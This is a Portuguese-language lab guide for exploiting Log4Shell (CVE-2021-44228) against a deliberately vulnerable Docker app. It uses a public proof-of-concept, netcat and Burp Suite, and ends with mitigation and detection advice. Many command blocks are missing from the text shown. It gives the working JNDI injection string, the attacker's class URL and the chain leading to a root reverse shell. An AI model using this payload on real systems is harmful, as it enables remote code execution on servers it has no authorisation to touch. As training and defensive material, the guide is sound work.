Log4Shell-CVE-2021-44228

Laboratório prático para explorar e compreender o Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Apenas para ensino e treinamento defensivo em ambientes de laboratório controlados.

0. Aviso Legal e Ético

Este laboratório deve ser realizado apenas em um ambiente controlado onde você tenha autorização explícita (seu próprio laboratório, VMs de sala de aula, etc.).

• Não ataque sistemas de produção.
• Não execute isso contra hosts que você não possui ou administra.
• Use este material somente para educação, pesquisa e defesa.

1. Visão Geral

Log4Shell (CVE-2021-44228) é uma vulnerabilidade crítica de RCE no Apache Log4j 2.

O problema surge porque versões vulneráveis do Log4j2 interpretam strings controladas pelo atacante, como:

Quando essa string é registrada, o Log4j:

1. Realiza um lookup JNDI (por exemplo, via LDAP) para um servidor controlado pelo atacante.
2. Recebe uma referência a uma classe Java maliciosa.
3. Baixa a classe via HTTP e a carrega na JVM.
4. Executa-a, resultando em execução remota de código.

Neste laboratório, você irá:

• Executar um aplicativo web Log4j2 vulnerável dentro de um contêiner Docker.
• Executar um servidor malicioso LDAP + HTTP no Kali usando log4j-shell-poc.
• Entregar o payload do Log4Shell via curl e via Burp Suite.
• Capturar um reverse shell do contêiner vulnerável.

2. Objetivos de Aprendizagem

Ao final deste laboratório, você deverá ser capaz de:

1. Explicar em alto nível como o Log4Shell funciona e por que o JNDI é perigoso quando usado indevidamente.
2. Implantar um aplicativo Log4j2 vulnerável usando Docker.
3. Instalar e configurar o JDK 1.8.0_202, exigido pelo PoC.
4. Executar um servidor LDAP e um servidor HTTP maliciosos por meio do script do PoC.
5. Acionar a vulnerabilidade e obter um reverse shell.
6. Usar o Burp Suite para injetar o exploit em um cabeçalho HTTP.
7. Discutir mitigações realistas e estratégias de detecção.

3. Arquitetura do Laboratório

Todos os componentes são executados sobre seu laboratório virtual existente. Para este guia, assumimos:

• A VM Kali Linux é o atacante.
• O Kali também executa o contêiner Docker que contém o aplicativo vulnerável.

Ideia-chave

O atacante injeta:

em um cabeçalho HTTP. O aplicativo vulnerável o registra usando Log4j2 → realiza um lookup JNDI LDAP para 192.168.1.4:1389 → baixa uma classe maliciosa de http://192.168.1.4:8000 → executa a classe, que abre um reverse shell de volta para 192.168.1.4:9001.

4. Pré-requisitos

No Kali, você precisa de:

• Docker (instalado e funcionando).
• Python 3 (padrão no Kali).
• Netcat (nc).
• Burp Suite (a edição Community é suficiente).
• Acesso à internet para downloads iniciais.
• Familiaridade básica com Linux e HTTP.

Ao longo deste guia, assumimos que o IP do Kali é:

Se o seu IP for diferente, ajuste todos os comandos de acordo.

5. Instalar o JDK 1.8.0_202 no Kali (Obrigatório)

O PoC depende do Java SE 8 Update 202 (JDK 1.8.0_202) porque versões posteriores do Java restringem o comportamento de carregamento remoto de classes usado por este exploit.

Mesmo que o Kali já tenha o OpenJDK 21 (ou similar), você ainda precisa instalar o 8u202 separadamente.

5.1 Criar um diretório de trabalho

5.2 Baixar o JDK 8u202 do espelho HuaweiCloud

Raiz do espelho:

Baixe o tarball Linux x64 (≈185 MB):

5.3 Extrair para /usr/bin/jdk1.8.0_202

A opção --strip-components=1 remove o diretório de nível superior do arquivo para que os arquivos sejam extraídos diretamente em /usr/bin/jdk1.8.0_202.

5.4 Verificar a instalação

Saída esperada:

Se você vir isso, o JDK 1.8.0_202 está instalado corretamente.

6. Implantar o Aplicativo Log4j Vulnerável (Docker no Kali)

Em um novo terminal no Kali (você pode permanecer em ~/Log4Shell):

Você deve ver logs semelhantes a:

• O aplicativo agora está acessível em http://127.0.0.1:8080/ a partir do Kali.
• Deixe este terminal em execução. Este é o seu alvo.

Verificação rápida:

Você pode ver uma Whitelabel Error Page (HTTP 400). Tudo bem – tudo o que precisamos é que o aplicativo esteja em execução e registrando as requisições.

7. Preparar o PoC do Exploit no Kali

7.1 Clonar log4j-shell-poc

Em um novo terminal:

Confirme os arquivos:

8. Configurar o poc.py para Usar o JDK 1.8.0_202

Por padrão, o poc.py espera encontrar um JDK local em um diretório chamado jdk1.8.0_20 dentro do repositório. Em vez disso, você instalou o JDK 8u202 em /usr/bin/jdk1.8.0_202, portanto você deve atualizar o script.

8.1 Abrir o poc.py em um editor

8.2 Identificar as linhas originais dos caminhos do Java

Procure por jdk1.8.0_20 (no nano: Ctrl+W, digite jdk1.8.0_20, pressione Enter).

Você deve encontrar três ocorrências como:

8.3 Substituir pelos caminhos absolutos do JDK 8u202

Substitua-os por:

Salve e saia:

• Ctrl + O → Enter
• Ctrl + X

O PoC agora usa o JDK 1.8.0_202 a partir de /usr/bin.

9. Iniciar os Serviços do Exploit (LDAP + HTTP + Gerador de Payload)

A partir de ~/Log4Shell/log4j-shell-poc:

9.1 Executar o script do PoC

Parâmetros:

• --userip – o IP do seu Kali (atacante): por exemplo, 192.168.1.4.
• --webport – porta do servidor HTTP embutido: 8000.
• --lport – porta para a qual o payload se conecta de volta: 9001.

Se tudo estiver configurado corretamente, você deve ver algo como:

Importante:

• O servidor LDAP está escutando na porta 1389.

• O servidor HTTP está escutando na porta 8000.

• O payload exato a ser injetado é exibido:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Deixe este terminal em execução.

10. Iniciar o Listener de Reverse Shell (Netcat)

Abra outro novo terminal no Kali:

Você deve ver:

Este listener receberá o reverse shell do aplicativo vulnerável.

Neste ponto, você deve ter:

1. O contêiner Docker executando o aplicativo vulnerável (porta 8080).
2. O poc.py executando LDAP (1389) e HTTP (8000).
3. O Netcat escutando em 9001.

11. Explorar o Log4Shell via curl

Primeiro, prove que o exploit funciona usando uma requisição HTTP bruta.

Em um novo terminal (ou reutilize um, se disponível):

O que acontece:

1. O aplicativo vulnerável recebe a requisição e registra o cabeçalho X-Api-Version.
2. O Log4j2 vê ${jndi:ldap://192.168.1.4:1389/a} e realiza um lookup JNDI LDAP.
3. Seu servidor LDAP (dentro do poc.py) responde com uma referência a uma classe Java maliciosa hospedada em seu servidor HTTP.
4. O aplicativo baixa e executa a classe.
5. A classe se conecta de volta para 192.168.1.4:9001 e inicia um shell.

Se for bem-sucedido, seu terminal Netcat mostra:

Agora você tem um shell root dentro do contêiner Docker.

Experimente:

Saia com:

O Netcat voltará a escutar.

12. Explorar o Log4Shell via Burp Suite (estilo navegador)

Agora demonstre o mesmo caminho de exploit usando um navegador intermediado pelo Burp Suite.

12.1 Configurar o Firefox para usar o Burp como proxy

1. Inicie o Burp Suite no Kali.

2. No Burp, garanta que o listener de Proxy esteja em execução em 127.0.0.1:8080.

3. No Firefox:

   • Configurações → Configurações de Rede → Configuração manual de proxy.
   • HTTP Proxy: 127.0.0.1, Porta: 8080.
   • Marque “Também usar este proxy para HTTPS”.
   • Garanta que não haja exclusões para 127.0.0.1.

12.2 Capturar uma requisição inicial

1. No Burp → Proxy → Intercept, garanta que Intercept esteja ativo.

2. No Firefox, navegue para:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. O Burp mostrará a requisição interceptada, por exemplo:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Enviar a requisição para o Repeater

1. Na aba Proxy → Intercept, clique com o botão direito na requisição.
2. Selecione Send to Repeater.
3. Alterne para a aba Repeater.

12.4 Injetar o payload do Log4Shell em um cabeçalho HTTP

No Repeater, modifique a requisição para incluir um cabeçalho X-Api-Version:

Observações:

• Substitua 192.168.1.4 pelo seu IP real do Kali, se for diferente.
• Não faça URL-encode dos caracteres ${} – eles devem aparecer exatamente como mostrado.
• Connection: close mantém as coisas simples (opcional).

12.5 Enviar a requisição maliciosa

1. Confirme que o poc.py e o listener Netcat ainda estão em execução.
2. Clique em Send no Burp Repeater.

Você pode ver novamente uma 400 Whitelabel Error Page – tudo bem.

Verifique seu terminal Netcat:

Você obteve novamente um shell root no contêiner, desta vez usando uma requisição HTTP modificada pelo Burp, o que espelha um fluxo de trabalho realista de exploração web.

13. Como a Cadeia do Exploit Funciona (Resumo Técnico)

1. O atacante cria o payload JNDI:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. O aplicativo vulnerável registra essa string usando Log4j2.

3. O Log4j2 interpreta ${jndi:...} e realiza um lookup JNDI.

4. O lookup usa LDAP para contatar o servidor LDAP do atacante em 192.168.1.4:1389.

5. O servidor LDAP (marshalsec) responde com um javaNamingReference apontando para uma classe controlada pelo atacante hospedada via HTTP, por exemplo:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. A JVM da vítima baixa e carrega essa classe.

7. O construtor da classe abre um socket de volta para 192.168.1.4:9001 e vincula /bin/sh a ele.

8. O listener Netcat do atacante recebe a conexão de entrada e obtém um shell root remoto dentro do contêiner.

14. Mitigação e Defesa

Em ambientes reais, múltiplas camadas defensivas devem ser aplicadas.

14.1 Atualizar o Log4j2

• Atualize para 2.17.1 ou posterior (ou a versão segura recomendada pelo fornecedor).
• Essas versões desativam ou restringem fortemente os lookups JNDI por padrão.

14.2 Desativar lookups JNDI / de mensagens

Para implantações ainda vulneráveis, adicione:

(Quando aplicável – observe que nem todas as configurações vulneráveis são corrigidas apenas por essa flag).

14.3 Remover JndiLookup dos JARs do log4j-core

Como medida de defesa em profundidade:

14.4 Reforçar o acesso de rede de saída

• Restrinja LDAP, RMI e HTTP arbitrário de saída a partir dos servidores de aplicação.
• Filtragem de egresso e políticas rigorosas de firewall podem impedir que servidores alcancem infraestrutura controlada pelo atacante.

14.5 Detecção e Monitoramento

• Procure nos logs padrões suspeitos como ${jndi: ou ${${lower:j}${upper:ndi}:.
• Monitore conexões LDAP/RMI de saída incomuns a partir dos servidores.
• Implante regras de IDS/IPS/SIEM para indicadores do Log4Shell e tráfego de PoC.

15. Cheat-Sheet de Comandos

Uma visão geral condensada dos comandos usados neste laboratório.

15.1 Diretório de trabalho

15.2 Baixar o JDK 8u202 (≈185 MB)

15.3 Instalar o JDK 1.8.0_202

15.4 Executar o aplicativo Docker vulnerável

15.5 Clonar o repositório do PoC

15.6 Atualizar os caminhos do Java no poc.py (resumo)

Substitua:

Por:

15.7 Iniciar o PoC (LDAP + HTTP + payload)

15.8 Listener Netcat de reverse shell

15.9 Explorar via curl

15.10 String do payload para cabeçalhos

15.11 Cabeçalho no Burp Repeater

16. Galeria de Capturas de Tela

17. Referências

• PoC original: kozmer/log4j-shell-poc
• Aplicativo de demonstração vulnerável: christophetd/log4shell-vulnerable-app
• Vulnerabilidades de Segurança do Apache Log4j: https://logging.apache.org/log4j/2.x/security.html
• Entrada do NIST NVD para CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Créditos